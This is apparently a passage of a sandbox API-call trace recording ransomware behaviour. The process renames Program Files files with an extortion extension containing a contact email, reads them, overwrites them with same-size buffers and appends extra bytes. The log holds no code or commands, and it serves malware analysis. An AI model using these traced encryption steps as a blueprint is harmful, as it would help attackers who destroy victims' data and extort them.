Shared\\Fonts\\WHGDTXT.SHX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0211.703] GetProcessHeap () returned 0x630000 [0211.703] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x739bee0 [0211.703] GetProcessHeap () returned 0x630000 [0211.703] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7306fc8 [0211.704] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.704] ReadFile (in: hFile=0x5e4, lpBuffer=0x739bee0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x739bee0*, lpNumberOfBytesRead=0x60fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0220.105] GetProcessHeap () returned 0x630000 [0220.105] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0220.105] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.105] WriteFile (in: hFile=0x5e4, lpBuffer=0x7306fc8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7306fc8*, lpNumberOfBytesWritten=0x60fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0220.105] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.105] WriteFile (in: hFile=0x5e4, lpBuffer=0x73123c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73123c7*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0220.106] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.106] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0220.107] CloseHandle (hObject=0x5e4) returned 1 [0220.107] GetProcessHeap () returned 0x630000 [0220.107] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7306fc8 | out: hHeap=0x630000) returned 1 [0220.107] GetProcessHeap () returned 0x630000 [0220.107] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x739bee0 | out: hHeap=0x630000) returned 1 [0220.107] GetProcessHeap () returned 0x630000 [0220.107] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0220.108] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.108] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x62b5b1e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x49250a15, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x369f7, dwReserved0=0x9207496, dwReserved1=0x739bed8, cFileName="WHGDTXT.SHX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WHGDTX~1.FIR")) returned 0x6d5200 [0220.108] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0220.108] Sleep (dwMilliseconds=0x1) [0220.119] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x60fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastbeginupgrade.xml") returned 1 [0220.119] GetProcessHeap () returned 0x630000 [0220.119] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5084) returned 0x6fe3bb0 [0220.119] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-be\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0220.120] CloseHandle (hObject=0x5e4) returned 1 [0220.120] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0220.120] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-be\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-be\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0220.121] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.121] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f27d1ae, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f27d1ae, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d51c0 [0220.121] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0220.121] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-be\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0220.121] GetProcessHeap () returned 0x630000 [0220.121] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7040 [0220.121] GetProcessHeap () returned 0x630000 [0220.121] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d77d8 [0220.121] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.121] ReadFile (in: hFile=0x5e4, lpBuffer=0x6d7040, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7040*, lpNumberOfBytesRead=0x60fff0c*=0x240, lpOverlapped=0x0) returned 1 [0220.125] GetProcessHeap () returned 0x630000 [0220.125] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0220.125] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.125] WriteFile (in: hFile=0x5e4, lpBuffer=0x6d77d8*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d77d8*, lpNumberOfBytesWritten=0x60fff0c*=0x240, lpOverlapped=0x0) returned 1 [0220.125] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.125] WriteFile (in: hFile=0x5e4, lpBuffer=0x6d7a17*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7a17*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0220.125] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.125] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0220.125] CloseHandle (hObject=0x5e4) returned 1 [0220.125] GetProcessHeap () returned 0x630000 [0220.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d77d8 | out: hHeap=0x630000) returned 1 [0220.125] GetProcessHeap () returned 0x630000 [0220.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7040 | out: hHeap=0x630000) returned 1 [0220.125] GetProcessHeap () returned 0x630000 [0220.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0220.126] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.126] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f27d1ae, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f27d1ae, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x49276c3e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x60ffd20, dwReserved1=0x6d7040, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d53c0 [0220.126] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0220.126] Sleep (dwMilliseconds=0x1) [0220.135] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\index.html", len=0x6f | out: pbstr=0x60fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\index.html") returned 1 [0220.135] GetProcessHeap () returned 0x630000 [0220.135] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5080) returned 0x6fe3bb0 [0220.135] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-be\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0220.135] CloseHandle (hObject=0x5e4) returned 1 [0220.136] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0220.136] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-be\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-be\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0220.136] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.137] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f08d25f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f08d25f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0220.137] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0220.137] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-be\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0220.137] GetProcessHeap () returned 0x630000 [0220.137] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa7a1) returned 0x7306c88 [0220.137] GetProcessHeap () returned 0x630000 [0220.137] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa7a1) returned 0x7393dd0 [0220.137] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.137] ReadFile (in: hFile=0x5e4, lpBuffer=0x7306c88, nNumberOfBytesToRead=0xa780, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7306c88*, lpNumberOfBytesRead=0x60fff0c*=0xa780, lpOverlapped=0x0) returned 1 [0224.755] GetProcessHeap () returned 0x630000 [0224.755] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71766b0 [0224.756] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.756] WriteFile (in: hFile=0x5e4, lpBuffer=0x7393dd0*, nNumberOfBytesToWrite=0xa780, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7393dd0*, lpNumberOfBytesWritten=0x60fff0c*=0xa780, lpOverlapped=0x0) returned 1 [0225.558] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.558] WriteFile (in: hFile=0x5e4, lpBuffer=0x739e54f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x739e54f*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.736] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.736] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.736] CloseHandle (hObject=0x5e4) returned 1 [0225.736] GetProcessHeap () returned 0x630000 [0225.736] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7393dd0 | out: hHeap=0x630000) returned 1 [0225.740] GetProcessHeap () returned 0x630000 [0225.740] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7306c88 | out: hHeap=0x630000) returned 1 [0225.740] GetProcessHeap () returned 0x630000 [0225.740] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71766b0 | out: hHeap=0x630000) returned 1 [0226.661] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.661] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f08d25f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f08d25f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c7f5824, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa7bc, dwReserved0=0x9207496, dwReserved1=0x7306c80, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4e40 [0226.661] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0226.661] Sleep (dwMilliseconds=0x1) [0226.677] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\Windows Defender\\NisSrv.exe", len=0x2c | out: pbstr=0x60fff7c*="C:\\Program Files\\Windows Defender\\NisSrv.exe") returned 1 [0226.677] GetProcessHeap () returned 0x630000 [0226.677] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51e4) returned 0x6fe3bb0 [0226.677] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\NisSrv.exe" (normalized: "c:\\program files\\windows defender\\nissrv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.677] Sleep (dwMilliseconds=0x1) [0226.692] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.004.etl", len=0x3f | out: pbstr=0x60fff7c*="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.004.etl") returned 1 [0226.692] GetProcessHeap () returned 0x630000 [0226.692] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5198) returned 0x6fe3bb0 [0226.693] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.004.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.004.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0226.706] CloseHandle (hObject=0x414) returned 1 [0226.706] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.706] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.004.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.004.etl"), lpNewFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.004.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.004.etl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.772] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.772] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.004.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4308f96d, ftLastAccessTime.dwHighDateTime=0x1d41dc4, ftLastWriteTime.dwLowDateTime=0x4416619d, ftLastWriteTime.dwHighDateTime=0x1d41dc4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.004.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UNE06B~1.FIR")) returned 0x6d5200 [0226.772] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0226.772] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.004.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.004.etl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0226.773] GetProcessHeap () returned 0x630000 [0226.773] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74ccb28 [0226.773] GetProcessHeap () returned 0x630000 [0226.773] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x746bd68 [0226.774] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.774] ReadFile (in: hFile=0x414, lpBuffer=0x74ccb28, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74ccb28*, lpNumberOfBytesRead=0x60fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.099] GetProcessHeap () returned 0x630000 [0233.099] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0233.100] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.100] WriteFile (in: hFile=0x414, lpBuffer=0x746bd68*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x746bd68*, lpNumberOfBytesWritten=0x60fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.749] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.749] WriteFile (in: hFile=0x414, lpBuffer=0x7477167*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7477167*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.972] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.972] WriteFile (in: hFile=0x414, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.972] CloseHandle (hObject=0x414) returned 1 [0234.560] GetProcessHeap () returned 0x630000 [0234.560] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x746bd68 | out: hHeap=0x630000) returned 1 [0234.560] GetProcessHeap () returned 0x630000 [0234.560] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74ccb28 | out: hHeap=0x630000) returned 1 [0234.561] GetProcessHeap () returned 0x630000 [0234.561] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0235.667] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.668] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.004.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4308f96d, ftLastAccessTime.dwHighDateTime=0x1d41dc4, ftLastWriteTime.dwLowDateTime=0x516854c4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x20024, dwReserved0=0x9207496, dwReserved1=0x74ccb20, 